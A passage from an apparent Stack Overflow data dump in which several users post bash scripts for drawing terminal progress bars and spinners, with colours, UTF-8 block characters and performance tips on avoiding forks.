noreferrer\"><img src=\"https://i.stack.imgur.com/fU6nR.gif\" alt=\"enter image description here\"></a></p>\n\n<p>It's also posted on <a href=\"https://github.com/adriano-pinaffo/progressbar.sh\" rel=\"nofollow noreferrer\">Git Hub</a>.</p>\n\n<pre><code>#!/bin/bash\n#\n# Progress bar by Adriano Pinaffo\n# Available at https://github.com/adriano-pinaffo/progressbar.sh\n# Inspired on work by Edouard Lopez (https://github.com/edouard-lopez/progress-bar.sh)\n# Version 1.0\n# Date April, 28th 2017\n\nfunction error {\n echo \"Usage: $0 [SECONDS]\"\n case $1 in\n 1) echo \"Pass one argument only\"\n exit 1\n ;;\n 2) echo \"Parameter must be a number\"\n exit 2\n ;;\n *) echo \"Unknown error\"\n exit 999\n esac\n}\n\n[[ $# -ne 1 ]] &amp;&amp; error 1\n[[ $1 =~ ^[0-9]+$ ]] || error 2\n\nduration=${1}\nbarsize=$((`tput cols` - 7))\nunity=$(($barsize / $duration))\nincrement=$(($barsize%$duration))\nskip=$(($duration/($duration-$increment)))\ncurr_bar=0\nprev_bar=\nfor (( elapsed=1; elapsed&lt;=$duration; elapsed++ ))\ndo\n # Elapsed\nprev_bar=$curr_bar\n let curr_bar+=$unity\n [[ $increment -eq 0 ]] || { \n [[ $skip -eq 1 ]] &amp;&amp;\n { [[ $(($elapsed%($duration/$increment))) -eq 0 ]] &amp;&amp; let curr_bar++; } ||\n { [[ $(($elapsed%$skip)) -ne 0 ]] &amp;&amp; let curr_bar++; }\n }\n [[ $elapsed -eq 1 &amp;&amp; $increment -eq 1 &amp;&amp; $skip -ne 1 ]] &amp;&amp; let curr_bar++\n [[ $(($barsize-$curr_bar)) -eq 1 ]] &amp;&amp; let curr_bar++\n [[ $curr_bar -lt $barsize ]] || curr_bar=$barsize\n for (( filled=0; filled&lt;=$curr_bar; filled++ )); do\n printf \"▇\"\n done\n\n # Remaining\n for (( remain=$curr_bar; remain&lt;$barsize; remain++ )); do\n printf \" \"\n done\n\n # Percentage\n printf \"| %s%%\" $(( ($elapsed*100)/$duration))\n\n # Return\n sleep 1\n printf \"\\r\"\ndone\nprintf \"\\n\"\nexit 0\n</code></pre>\n\n<p>Enjoy</p>\n" }, { "answer_id": 45184646, "author": "nachoparker", "author_id": 7445849, "author_profile": "https://Stackoverflow.com/users/7445849", "pm_score": 4, "selected": false, "text": "<p>I would also like to contribute my <a href=\"https://ownyourbits.com/2017/07/16/a-progress-bar-for-the-shell/\" rel=\"noreferrer\">own progress bar</a></p>\n\n<p>It achieves sub-character precision by using <a href=\"https://en.wikipedia.org/wiki/Block_Elements#Character_table\" rel=\"noreferrer\">Half unicode blocks</a></p>\n\n<p><a href=\"https://i.stack.imgur.com/pDY2q.gif\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/pDY2q.gif\" alt=\"enter image description here\"></a></p>\n\n<p>Code is included</p>\n" }, { "answer_id": 45676666, "author": "Mike Q", "author_id": 1618630, "author_profile": "https://Stackoverflow.com/users/1618630", "pm_score": 0, "selected": false, "text": "<pre><code>#!/bin/bash\n\nfunction progress_bar() {\n bar=\"\"\n total=10\n [[ -z $1 ]] &amp;&amp; input=0 || input=${1}\n x=\"##\"\n for i in `seq 1 10`; do\n if [ $i -le $input ] ;then\n bar=$bar$x\n else\n bar=\"$bar \"\n fi\n done\n #pct=$((200*$input/$total % 2 + 100*$input/$total))\n pct=$(($input*10))\n echo -ne \"Progress : [ ${bar} ] (${pct}%) \\r\" \n sleep 1\n if [ $input -eq 10 ] ;then\n echo -ne '\\n'\n fi\n\n}\n</code></pre>\n\n<p>could create a function that draws this on a scale say 1-10 for the number of bars :</p>\n\n<pre><code>progress_bar 1\necho \"doing something ...\"\nprogress_bar 2\necho \"doing something ...\"\nprogress_bar 3\necho \"doing something ...\"\nprogress_bar 8\necho \"doing something ...\"\nprogress_bar 10\n</code></pre>\n" }, { "answer_id": 48389432, "author": "Qub3r", "author_id": 1591346, "author_profile": "https://Stackoverflow.com/users/1591346", "pm_score": 1, "selected": false, "text": "<p>Using suggestions listed above, I decided to implement my own progress bar. </p>\n\n<pre><code>#!/usr/bin/env bash\n\nmain() {\n for (( i = 0; i &lt;= 100; i=$i + 1)); do\n progress_bar \"$i\"\n sleep 0.1;\n done\n progress_bar \"done\"\n exit 0\n}\n\nprogress_bar() {\n if [ \"$1\" == \"done\" ]; then\n spinner=\"X\"\n percent_done=\"100\"\n progress_message=\"Done!\"\n new_line=\"\\n\"\n else\n spinner='/-\\|'\n percent_done=\"${1:-0}\"\n progress_message=\"$percent_done %\"\n fi\n\n percent_none=\"$(( 100 - $percent_done ))\"\n [ \"$percent_done\" -gt 0 ] &amp;&amp; local done_bar=\"$(printf '#%.0s' $(seq -s ' ' 1 $percent_done))\"\n [ \"$percent_none\" -gt 0 ] &amp;&amp; local none_bar=\"$(printf '~%.0s' $(seq -s ' ' 1 $percent_none))\"\n\n # print the progress bar to the screen\n printf \"\\r Progress: [%s%s] %s %s${new_line}\" \\\n \"$done_bar\" \\\n \"$none_bar\" \\\n \"${spinner:x++%${#spinner}:1}\" \\\n \"$progress_message\"\n}\n\nmain \"$@\"\n</code></pre>\n" }, { "answer_id": 52581824, "author": "Vagiz Duseev", "author_id": 2472360, "author_profile": "https://Stackoverflow.com/users/2472360", "pm_score": 4, "selected": false, "text": "<h2>Here is how it might look</h2>\n\n<p><em>Uploading a file</em></p>\n\n<pre><code>[##################################################] 100% (137921 / 137921 bytes)\n</code></pre>\n\n<p><em>Waiting for a job to complete</em></p>\n\n<pre><code>[######################### ] 50% (15 / 30 seconds)\n</code></pre>\n\n<h2>Simple function that implements it</h2>\n\n<p>You can just copy-paste it to your script. It does not require anything else to work.</p>\n\n<pre><code>PROGRESS_BAR_WIDTH=50 # progress bar length in characters\n\ndraw_progress_bar() {\n # Arguments: current value, max value, unit of measurement (optional)\n local __value=$1\n local __max=$2\n local __unit=${3:-\"\"} # if unit is not supplied, do not display it\n\n # Calculate percentage\n if (( $__max &lt; 1 )); then __max=1; fi # anti zero division protection\n local __percentage=$(( 100 - ($__max*100 - $__value*100) / $__max ))\n\n # Rescale the bar according to the progress bar width\n local __num_bar=$(( $__percentage * $PROGRESS_BAR_WIDTH / 100 ))\n\n # Draw progress bar\n printf \"[\"\n for b in $(seq 1 $__num_bar); do printf \"#\"; done\n for s in $(seq 1 $(( $PROGRESS_BAR_WIDTH - $__num_bar ))); do printf \" \"; done\n printf \"] $__percentage%% ($__value / $__max $__unit)\\r\"\n}\n</code></pre>\n\n<h2>Usage example</h2>\n\n<p>Here, we upload a file and redraw the progress bar at each iteration. It does not matter what job is actually performed as long as we can get 2 values: max value and current value.</p>\n\n<p>In the example below the max value is <code>file_size</code> and the current value is supplied by some function and is called <code>uploaded_bytes</code>.</p>\n\n<pre><code># Uploading a file\nfile_size=137921\n\nwhile true; do\n # Get current value of uploaded bytes\n uploaded_bytes=$(some_function_that_reports_progress)\n\n # Draw a progress bar\n draw_progress_bar $uploaded_bytes $file_size \"bytes\"\n\n # Check if we reached 100%\n if [ $uploaded_bytes == $file_size ]; then break; fi\n sleep 1 # Wait before redrawing\ndone\n# Go to the newline at the end of upload\nprintf \"\\n\"\n</code></pre>\n" }, { "answer_id": 53094295, "author": "Hello World", "author_id": 1452435, "author_profile": "https://Stackoverflow.com/users/1452435", "pm_score": 2, "selected": false, "text": "<p><a href=\"https://github.com/extensionsapp/progre.sh\" rel=\"nofollow noreferrer\">https://github.com/extensionsapp/progre.sh</a></p>\n\n<p>Create 40 percent progress: <code>progreSh 40</code></p>\n\n<p><a href=\"https://i.stack.imgur.com/t7gba.gif\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/t7gba.gif\" alt=\"enter image description here\"></a></p>\n" }, { "answer_id": 53616678, "author": "polle", "author_id": 10744942, "author_profile": "https://Stackoverflow.com/users/10744942", "pm_score": 4, "selected": false, "text": "<h2>APT style progress bar (Does not break normal output)</h2>\n\n<p><a href=\"https://i.stack.imgur.com/xUd8n.gif\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/xUd8n.gif\" alt=\"enter image description here\"></a></p>\n\n<p>EDIT: For an updated version check my <a href=\"https://github.com/pollev/bash_progress_bar\" rel=\"noreferrer\">github page</a></p>\n\n<p>I was not satisfied with the responses on this question. What I was personally looking for was a fancy progress bar as is seen by APT.</p>\n\n<p>I had a look at the C source code for APT and decided to write my own equivalent for bash.</p>\n\n<p><strong>This progress bar will stay nicely at the bottom of the terminal and will not interfere with any output sent to the terminal.</strong></p>\n\n<p>Please do note that the bar is currently fixed at 100 characters wide. If you want scale it to the size of the terminal, this is fairly easy to accomplish as well (The updated version on my github page handles this well).</p>\n\n<p>I will post my script here.\nUsage example:</p>\n\n<pre><code>source ./progress_bar.sh\necho \"This is some output\"\nsetup_scroll_area\nsleep 1\necho \"This is some output 2\"\ndraw_progress_bar 10\nsleep 1\necho \"This is some output 3\"\ndraw_progress_bar 50\nsleep 1\necho \"This is some output 4\"\ndraw_progress_bar 90\nsleep 1\necho \"This is some output 5\"\ndestroy_scroll_area\n</code></pre>\n\n<p>The script (I strongly recommend the version on my github instead):</p>\n\n<pre><code>#!/bin/bash\n\n# This code was inspired by the open source C code of the APT progress bar\n# http://bazaar.launchpad.net/~ubuntu-branches/ubuntu/trusty/apt/trusty/view/head:/apt-pkg/install-progress.cc#L233\n\n#\n# Usage:\n# Source this script\n# setup_scroll_area\n# draw_progress_bar 10\n# draw_progress_bar 90\n# destroy_scroll_area\n#\n\n\nCODE_SAVE_CURSOR=\"\\033[s\"\nCODE_RESTORE_CURSOR=\"\\033[u\"\nCODE_CURSOR_IN_SCROLL_AREA=\"\\033[1A\"\nCOLOR_FG=\"\\e[30m\"\nCOLOR_BG=\"\\e[42m\"\nRESTORE_FG=\"\\e[39m\"\nRESTORE_BG=\"\\e[49m\"\n\nfunction setup_scroll_area() {\n lines=$(tput lines)\n let lines=$lines-1\n # Scroll down a bit to avoid visual glitch when the screen area shrinks by one row\n echo -en \"\\n\"\n\n # Save cursor\n echo -en \"$CODE_SAVE_CURSOR\"\n # Set scroll region (this will place the cursor in the top left)\n echo -en \"\\033[0;${lines}r\"\n\n # Restore cursor but ensure its inside the scrolling area\n echo -en \"$CODE_RESTORE_CURSOR\"\n echo -en \"$CODE_CURSOR_IN_SCROLL_AREA\"\n\n # Start empty progress bar\n draw_progress_bar 0\n}\n\nfunction destroy_scroll_area() {\n lines=$(tput lines)\n # Save cursor\n echo -en \"$CODE_SAVE_CURSOR\"\n # Set scroll region (this will place the cursor in the top left)\n echo -en \"\\033[0;${lines}r\"\n\n # Restore cursor but ensure its inside the scrolling area\n echo -en \"$CODE_RESTORE_CURSOR\"\n echo -en \"$CODE_CURSOR_IN_SCROLL_AREA\"\n\n # We are done so clear the scroll bar\n clear_progress_bar\n\n # Scroll down a bit to avoid visual glitch when the screen area grows by one row\n echo -en \"\\n\\n\"\n}\n\nfunction draw_progress_bar() {\n percentage=$1\n lines=$(tput lines)\n let lines=$lines\n # Save cursor\n echo -en \"$CODE_SAVE_CURSOR\"\n\n # Move cursor position to last row\n echo -en \"\\033[${lines};0f\"\n\n # Clear progress bar\n tput el\n\n # Draw progress bar\n print_bar_text $percentage\n\n # Restore cursor position\n echo -en \"$CODE_RESTORE_CURSOR\"\n}\n\nfunction clear_progress_bar() {\n lines=$(tput lines)\n let lines=$lines\n # Save cursor\n echo -en \"$CODE_SAVE_CURSOR\"\n\n # Move cursor position to last row\n echo -en \"\\033[${lines};0f\"\n\n # clear progress bar\n tput el\n\n # Restore cursor position\n echo -en \"$CODE_RESTORE_CURSOR\"\n}\n\nfunction print_bar_text() {\n local percentage=$1\n\n # Prepare progress bar\n let remainder=100-$percentage\n progress_bar=$(echo -ne \"[\"; echo -en \"${COLOR_FG}${COLOR_BG}\"; printf_new \"#\" $percentage; echo -en \"${RESTORE_FG}${RESTORE_BG}\"; printf_new \".\" $remainder; echo -ne \"]\");\n\n # Print progress bar\n if [ $1 -gt 99 ]\n then\n echo -ne \"${progress_bar}\"\n else\n echo -ne \"${progress_bar}\"\n fi\n}\n\nprintf_new() {\n str=$1\n num=$2\n v=$(printf \"%-${num}s\" \"$str\")\n echo -ne \"${v// /$str}\"\n}\n</code></pre>\n" }, { "answer_id": 53720296, "author": "Zibri", "author_id": 236062, "author_profile": "https://Stackoverflow.com/users/236062", "pm_score": 0, "selected": false, "text": "<pre><code>#!/bin/bash\ntot=$(wc -c /proc/$$/fd/255 | awk '/ /{print $1}')\nnow() {\necho $(( 100* ($(awk '/^pos:/{print $2}' &lt; /proc/$$/fdinfo/255)-166) / (tot-166) )) \"%\"\n}\nnow;\nnow;\nnow;\nnow;\nnow;\nnow;\nnow;\nnow;\nnow;\n</code></pre>\n\n<p>output:</p>\n\n<pre><code>0 %\n12 %\n25 %\n37 %\n50 %\n62 %\n75 %\n87 %\n100 %\n</code></pre>\n\n<p>note: if instead of 255 you put 1 you will monitor the standard in...with 2 the standard out (but you must modify the source to set \"tot\" to the projected output file size)</p>\n" }, { "answer_id": 62185347, "author": "Khalil Gharbaoui", "author_id": 5641227, "author_profile": "https://Stackoverflow.com/users/5641227", "pm_score": 1, "selected": false, "text": "<p>Flexible version with randomized colors, a string to manipulate and date.</p>\n\n<pre class=\"lang-sh prettyprint-override\"><code>function spinner() {\n local PID=\"$1\"\n local str=\"${2:-Processing!}\"\n local delay=\"0.1\"\n # tput civis # hide cursor\n while ( kill -0 $PID 2&gt;/dev/null )\n do\n printf \"\\e[38;5;$((RANDOM%257))m%s\\r\\e[0m\" \"[$(date '+%d/%m/%Y %H:%M:%S')][ $str ]\"; sleep \"$delay\"\n printf \"\\e[38;5;$((RANDOM%257))m%s\\r\\e[0m\" \"[$(date '+%d/%m/%Y %H:%M:%S')][ $str ]\"; sleep \"$delay\"\n printf \"\\e[38;5;$((RANDOM%257))m%s\\r\\e[0m\" \"[$(date '+%d/%m/%Y %H:%M:%S')][ $str ]\"; sleep \"$delay\"\n done\n printf \"\\e[38;5;$((RANDOM%257))m%s\\r\\e[0m\" \"[$(date '+%d/%m/%Y %H:%M:%S')][ ✅ ✅ ✅ Done! ✅ ✅ ✅ ]\"; sleep \"$delay\"\n # tput cnorm # restore cursor\n\n return 0\n}\n</code></pre>\n\n<p>Usage:</p>\n\n<pre class=\"lang-sh prettyprint-override\"><code># your long running proccess pushed to the background\nsleep 20 &amp;\n\n# spinner capture-previous-proccess-id string\nspinner $! 'Working!'\n</code></pre>\n\n<p>output example:</p>\n\n<pre class=\"lang-sh prettyprint-override\"><code>[04/06/2020 03:22:24][ Seeding! ]\n</code></pre>\n" }, { "answer_id": 63101790, "author": "Damian Czapiewski", "author_id": 1274664, "author_profile": "https://Stackoverflow.com/users/1274664", "pm_score": 2, "selected": false, "text": "<p>It may be achieved in a pretty simple way:</p>\n<ul>\n<li>iterate from 0 to 100 with <code>for</code> loop</li>\n<li>sleep every step for 25ms (0.25 second)</li>\n<li>append to the <code>$bar</code> variable another <code>=</code> sign to make the progress bar wider</li>\n<li>echo progress bar and percentage (<code>\\r</code> cleans line and returns to the beginning of the line; <code>-ne</code> makes <code>echo</code> doesn't add newline at the end and parses <code>\\r</code> special character)</li>\n</ul>\n<pre><code>function progress {\n bar=''\n for (( x=0; x &lt;= 100; x++ )); do\n sleep 0.25\n bar=&quot;${bar}=&quot;\n echo -ne &quot;$bar ${x}%\\r&quot;\n done\n echo -e &quot;\\n&quot;\n}\n</code></pre>\n<pre><code>$ progress\n&gt; ========== 10% # here: after 2.5 seconds\n</code></pre>\n<pre><code>$ progress\n&gt; ============================== 30% # here: after 7.5 seconds\n</code></pre>\n<p><strong>COLORED PROGRESS BAR</strong></p>\n<pre><code>function progress {\n bar=''\n for (( x=0; x &lt;= 100; x++ )); do\n sleep 0.05\n bar=&quot;${bar} &quot;\n\n echo -ne &quot;\\r&quot;\n echo -ne &quot;\\e[43m$bar\\e[0m&quot;\n\n local left=&quot;$(( 100 - $x ))&quot;\n printf &quot; %${left}s&quot;\n echo -n &quot;${x}%&quot;\n done\n echo -e &quot;\\n&quot;\n}\n</code></pre>\n<p>To make a progress bar colorful, you can use formatting escape sequence - here the progress bar is yellow: <code>\\e[43m</code>, then we reset custom settings with <code>\\e[0m</code>, otherwise it would affect further input even when the progress bar is done.</p>\n<p><a href=\"https://i.stack.imgur.com/Lplwe.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Lplwe.png\" alt=\"custom progress bar\" /></a></p>\n" }, { "answer_id": 63877277, "author": "James Yang", "author_id": 4691964, "author_profile": "https://Stackoverflow.com/users/4691964", "pm_score": 0, "selected": false, "text": "<p>There are many different answers about this topic, but when calculating percentage for text file operation, using <code>current length / total size</code> way, for example showing percentage of <code>ver_big_file.json</code> progress, and I recommend using <code>awk</code> for this purpose, like below code:</p>\n<pre class=\"lang-sh prettyprint-override\"><code>awk '\n function bar(x){s=&quot;&quot;;i=0;while (i++ &lt; x) s=s &quot;#&quot;;return s}\n BEGIN{\n (&quot;ls -l &quot; ARGV[1]) | getline total;\n split(total,array);\n total=array[5];\n }\n {\n cur+=length($0)+1;\n percent=int(cur / total * 100);\n printf &quot;LINE %s:%s %s%%\\r&quot;, NR, bar(percent*.8), percent \n }\n END {print}' very_big_file.json | grep &quot;keyword&quot; | ...\n</code></pre>\n<p>This way it's very precise, stream based, but it's only suitable for text files.</p>\n" }, { "answer_id": 64932365, "author": "Dustin Michels", "author_id": 7576819, "author_profile": "https://Stackoverflow.com/users/7576819", "pm_score": 3, "selected": false, "text": "<p>I needed a progress bar for iterating over the lines in a csv file. Was able to adapt cprn's code into something useful for me:</p>\n<pre><code>BAR='##############################'\nFILL='------------------------------'\ntotalLines=$(wc -l $file | awk '{print $1}') # num. lines in file\nbarLen=30\n\n# --- iterate over lines in csv file ---\ncount=0\nwhile IFS=, read -r _ col1 col2 col3; do\n # update progress bar\n count=$(($count + 1))\n percent=$((($count * 100 / $totalLines * 100) / 100))\n i=$(($percent * $barLen / 100))\n echo -ne &quot;\\r[${BAR:0:$i}${FILL:$i:barLen}] $count/$totalLines ($percent%)&quot;\n\n # other stuff\n (...)\ndone &lt;$file\n</code></pre>\n<p>Looks like this:</p>\n<pre><code>[##----------------------------] 17128/218210 (7%)\n</code></pre>\n" }, { "answer_id": 65532561, "author": "WinEunuuchs2Unix", "author_id": 6929343, "author_profile": "https://Stackoverflow.com/users/6929343", "pm_score": 3, "selected": false, "text": "<p>I needed a progress bar that would fit in popup bubble message (<code>notify-send</code>) to represent TV volume level. Recently I've been writing a music player in python and the TV picture is turned off most of the time.</p>\n<h2>Sample output from terminal</h2>\n<p><a href=\"https://i.stack.imgur.com/gD4iz.gif\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/gD4iz.gif\" alt=\"test_progress_bar3.gif\" /></a></p>\n<hr />\n<h2>Bash script</h2>\n<pre><code>#!/bin/bash\n\n# Show a progress bar at step number $1 (from 0 to 100)\n\n\nfunction is_int() { test &quot;$@&quot; -eq &quot;$@&quot; 2&gt; /dev/null; } \n\n# Parameter 1 must be integer\nif ! is_int &quot;$1&quot; ; then\n echo &quot;Not an integer: ${1}&quot;\n exit 1\nfi\n\n# Parameter 1 must be &gt;= 0 and &lt;= 100\nif [ &quot;$1&quot; -ge 0 ] &amp;&amp; [ &quot;$1&quot; -le 100 ] 2&gt;/dev/null\nthen\n :\nelse\n echo bad volume: ${1}\n exit 1\nfi\n\n# Main function designed for quickly copying to another program \nMain () {\n\n Bar=&quot;&quot; # Progress Bar / Volume level\n Len=25 # Length of Progress Bar / Volume level\n Div=4 # Divisor into Volume for # of blocks\n Fill=&quot;▒&quot; # Fill up to $Len\n Arr=( &quot;▉&quot; &quot;▎&quot; &quot;▌&quot; &quot;▊&quot; ) # UTF-8 left blocks: 7/8, 1/4, 1/2, 3/4\n\n FullBlock=$((${1} / Div)) # Number of full blocks\n PartBlock=$((${1} % Div)) # Size of partial block (array index)\n\n while [[ $FullBlock -gt 0 ]]; do\n Bar=&quot;$Bar${Arr[0]}&quot; # Add 1 full block into Progress Bar\n (( FullBlock-- )) # Decrement full blocks counter\n done\n\n # If remainder zero no partial block, else append character from array\n if [[ $PartBlock -gt 0 ]]; then\n Bar=&quot;$Bar${Arr[$PartBlock]}&quot;\n fi\n\n while [[ &quot;${#Bar}&quot; -lt &quot;$Len&quot; ]]; do\n Bar=&quot;$Bar$Fill&quot; # Pad Progress Bar with fill character\n done\n\n echo Volume: &quot;$1 $Bar&quot;\n exit 0 # Remove this line when copying into program\n} # Main\n\nMain &quot;$@&quot;\n</code></pre>\n<hr />\n<h2>Test bash script</h2>\n<p>Use this script to test the progress bar in the terminal.</p>\n<pre><code>#!/bin/bash\n\n# test_progress_bar3\n\nMain () {\n\n tput civis # Turn off cursor\n for ((i=0; i&lt;=100; i++)); do\n CurrLevel=$(./progress_bar3 &quot;$i&quot;) # Generate progress bar 0 to 100\n echo -ne &quot;$CurrLevel&quot;\\\\r # Reprint overtop same line\n sleep .04\n done\n echo -e \\\\n # Advance line to keep last progress\n echo &quot;$0 Done&quot;\n tput cnorm # Turn cursor back on\n} # Main\n\nMain &quot;$@&quot;\n</code></pre>\n<hr />\n<h1>TL;DR</h1>\n<p>This section details how <code>notify-send</code> is used to quickly spam popup bubble messages to the desktop. This is required because volume level can change many times a second and the default bubble message behavior is for a message to stay on the desktop for many seconds.</p>\n<h2>Sample popup bubble message</h2>\n<p><a href=\"https://i.stack.imgur.com/yYCDw.gif\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/yYCDw.gif\" alt=\"tvpowered.gif\" /></a></p>\n<h2>Popup bubble message bash code</h2>\n<p>From the script above the <code>main</code> function was copied to a new functioned called <code>VolumeBar</code> in an existing bash script called <code>tvpowered</code>. The <code>exit 0</code> command in the copied <code>main</code> function was removed.</p>\n<p>Here's how to call it and let Ubuntu's <code>notify-send</code> command know we will be spamming popup bubble message:</p>\n<pre><code>VolumeBar $CurrVolume\n# Ask Ubuntu: https://askubuntu.com/a/871207/307523\nnotify-send --urgency=critical &quot;tvpowered&quot; \\\n -h string:x-canonical-private-synchronous:volume \\\n --icon=/usr/share/icons/gnome/48x48/devices/audio-speakers.png \\\n &quot;Volume: $CurrVolume $Bar&quot;\n</code></pre>\n<p>This is the new line which tells <code>notify-send</code> to immediately replace last popup bubble:</p>\n<pre><code>-h string:x-canonical-private-synchronous:volume \\\n</code></pre>\n<p><code>volume</code> groups the popup bubble messages together and new messages in this group immediately replaces the previous. You can use <code>anything</code> instead of <code>volume</code>.</p>\n" }, { "answer_id": 68298090, "author": "F. Hauri - Give Up GitHub", "author_id": 1765658, "author_profile": "https://Stackoverflow.com/users/1765658", "pm_score": 4, "selected": false, "text": "<h1>Hires (floating point) progress bar</h1>\n<h3><em>Preamble</em></h3>\n<p>Sorry for this <em>not so short</em> answer. In this answer I will use <em><strong><code>integer</code></strong></em> to render floating point, <em><strong><code>UTF-8</code></strong></em> fonts for rendering progress bar more finely, and <em><strong><code>parallelise</code></strong></em> another task (<em><code>sha1sum</code></em>) in order to follow his progression, all of this with minimal resource footprint using <em><strong>pure <a href=\"/questions/tagged/bash\" class=\"post-tag\" title=\"show questions tagged &#39;bash&#39;\" rel=\"tag\">bash</a></strong></em> and <em><strong>no forks</strong></em>.</p>\n<blockquote>\n<p><strong>For impatiens:</strong> Please test code (copy/paste in a new terminal window) at <em><strong>Now do it!</strong></em> (in the middle), with</p>\n<ul>\n<li>either: <em><strong>Last animated demo</strong></em> (near end of this.),</li>\n<li>either <em><strong>Practical sample</strong></em> (at end).</li>\n</ul>\n</blockquote>\n<p>All demos here use <code>read -t &lt;float seconds&gt; &amp;&amp; break</code> instead of <code>sleep</code>. So all loop could be nicely stopped by hitting <kbd>Return</kbd> key.</p>\n<h2>Introduction</h2>\n<p><em><strong>Yet Another Bash Progress Bar...</strong></em></p>\n<p>As there is already a lot of answer here, I want to add some hints about <em><strong>performances</strong></em> and <em><strong>precision</strong></em>.</p>\n<h2>1. Avoid forks!</h2>\n<p>Because a progress bar are intented to run while other process are working, this must be a <em><strong>nice</strong></em> process...</p>\n<p>So avoid using <em><strong>forks</strong></em> when not needed. Sample: instead of</p>\n<pre><code>mysmiley=$(printf '%b' \\\\U1F60E)\n</code></pre>\n<p>Use</p>\n<pre><code>printf -v mysmiley '%b' \\\\U1F60E\n</code></pre>\n<p><strong>Explanation:</strong> When you run <code>var=$(command)</code>, you initiate a new process to execute <code>command</code> and send his <em>output</em> to variable <em><code>$var</code></em> once terminated. This is <strong>very</strong> resource expensive. Please compare:</p>\n<pre><code>TIMEFORMAT=&quot;%R&quot;\ntime for ((i=2500;i--;)){ mysmiley=$(printf '%b' \\\\U1F60E);}\n2.292\ntime for ((i=2500;i--;)){ printf -v mysmiley '%b' \\\\U1F60E;}\n0.017\nbc -l &lt;&lt;&lt;'2.292/.017'\n134.82352941176470588235\n</code></pre>\n<p>On my host, same work of assigning <code>$mysmiley</code> (just 2500 time), seem ~135x slower / more expensive by using <em>fork</em> than by using built-in <code>printf -v</code>.</p>\n<p>Then</p>\n<pre><code>echo $mysmiley \n\n</code></pre>\n<p>So your <em><code>function</code></em> have to not print (or <em>output</em>) anything. Your function have to attribute his answer to a <em><strong>variable</strong></em>.</p>\n<h2>2. Use integer as pseudo floating point</h2>\n<p>Here is a very small and quick function to compute percents from integers, with integer and answer a pseudo floating point number:</p>\n<pre><code>percent(){\n local p=00$(($1*100000/$2))\n printf -v &quot;$3&quot; %.2f ${p::-3}.${p: -3}\n}\n</code></pre>\n<p>Usage:</p>\n<pre><code># percent &lt;integer to compare&gt; &lt;reference integer&gt; &lt;variable name&gt;\npercent 33333 50000 testvar\nprintf '%8s%%\\n' &quot;$testvar&quot;\n 66.67%\n</code></pre>\n<h2>3. Hires console graphic using UTF-8: <em><code>▏ ▎ ▍ ▌ ▋ ▊ ▉ █</code></em></h2>\n<p>To render this characters using bash, you could:</p>\n<pre><code>printf -v chars '\\\\U258%X ' {15..8}\nprintf &quot;$chars\\\\n&quot;\n▏ ▎ ▍ ▌ ▋ ▊ ▉ █ \n</code></pre>\n<p>Then we have to use 8x <em><code>string with</code></em> as <em><code>graphic width</code></em>.</p>\n<h1>Now do it!</h1>\n<p>This function is named <code>percentBar</code> because it render a bar from argument submited in percents (floating):</p>\n<pre><code>percentBar () { \n local prct totlen=$((8*$2)) lastchar barstring blankstring;\n printf -v prct %.2f &quot;$1&quot;\n ((prct=10#${prct/.}*totlen/10000, prct%8)) &amp;&amp;\n printf -v lastchar '\\\\U258%X' $(( 16 - prct%8 )) ||\n lastchar=''\n printf -v barstring '%*s' $((prct/8)) ''\n printf -v barstring '%b' &quot;${barstring// /\\\\U2588}$lastchar&quot;\n printf -v blankstring '%*s' $(((totlen-prct)/8)) ''\n printf -v &quot;$3&quot; '%s%s' &quot;$barstring&quot; &quot;$blankstring&quot;\n}\n</code></pre>\n<p>Usage:</p>\n<pre><code># percentBar &lt;float percent&gt; &lt;int string width&gt; &lt;variable name&gt;\npercentBar 42.42 $COLUMNS bar1\necho &quot;$bar1&quot;\n█████████████████████████████████▉ \n</code></pre>\n<p>To show little differences:</p>\n<pre><code>percentBar 42.24 $COLUMNS bar2\nprintf &quot;%s\\n&quot; &quot;$bar1&quot; &quot;$bar2&quot;\n█████████████████████████████████▉ \n█████████████████████████████████▊ \n</code></pre>\n<h3>With colors</h3>\n<p>As rendered variable is a fixed widht string, using color is easy:</p>\n<pre><code>percentBar 72.1 24 bar\nprintf 'Show this: \\e[44;33;1m%s\\e[0m at %s%%\\n' &quot;$bar&quot; 72.1\n</code></pre>\n<p><a href=\"https://i.stack.imgur.com/4X9KA.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/4X9KA.png\" alt=\"Bar with color\" /></a></p>\n<h3>Little animation:</h3>\n<pre><code>for i in {0..10000..33} 10000;do i=0$i\n printf -v p %0.2f ${i::-2}.${i: -2}\n percentBar $p $((COLUMNS-9)) bar\n printf '\\r|%s|%6.2f%%' &quot;$bar&quot; $p\n read -srt .002 _ &amp;&amp; break # console sleep avoiding fork\ndone\n\n|███████████████████████████████████████████████████████████████████████|100.00%\n\nclear; for i in {0..10000..33} 10000;do i=0$i\n printf -v p %0.2f ${i::-2}.${i: -2}\n percentBar $p $((COLUMNS-7)) bar\n printf '\\r\\e[47;30m%s\\e[0m%6.2f%%' &quot;$bar&quot; $p\n read -srt .002 _ &amp;&amp; break\ndone\n</code></pre>\n<p><a href=\"https://i.stack.imgur.com/JS7Gh.gif\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/JS7Gh.gif\" alt=\"PercentBar animation\" /></a></p>\n<h2>Last animated demo</h2>\n<p>Another demo showing different sizes and colored output:</p>\n<pre><code>printf '\\n\\n\\n\\n\\n\\n\\n\\n\\e[8A\\e7'&amp;&amp;for i in {0..9999..99} 10000;do \n o=1 i=0$i;printf -v p %0.2f ${i::-2}.${i: -2}\n for l in 1 2 3 5 8 13 20 40 $((COLUMNS-7));do\n percentBar $p $l bar$((o++));done\n [ &quot;$p&quot; = &quot;100.00&quot; ] &amp;&amp; read -rst .8 _;printf \\\\e8\n printf '%s\\e[48;5;23;38;5;41m%s\\e[0m%6.2f%%%b' 'In 1 char width: ' \\\n &quot;$bar1&quot; $p ,\\\\n 'with 2 chars: ' &quot;$bar2&quot; $p ,\\\\n 'or 3 chars: ' \\\n &quot;$bar3&quot; $p ,\\\\n 'in 5 characters: ' &quot;$bar4&quot; $p ,\\\\n 'in 8 chars: ' \\\n &quot;$bar5&quot; $p .\\\\n 'There are 13 chars: ' &quot;$bar6&quot; $p ,\\\\n '20 chars: '\\\n 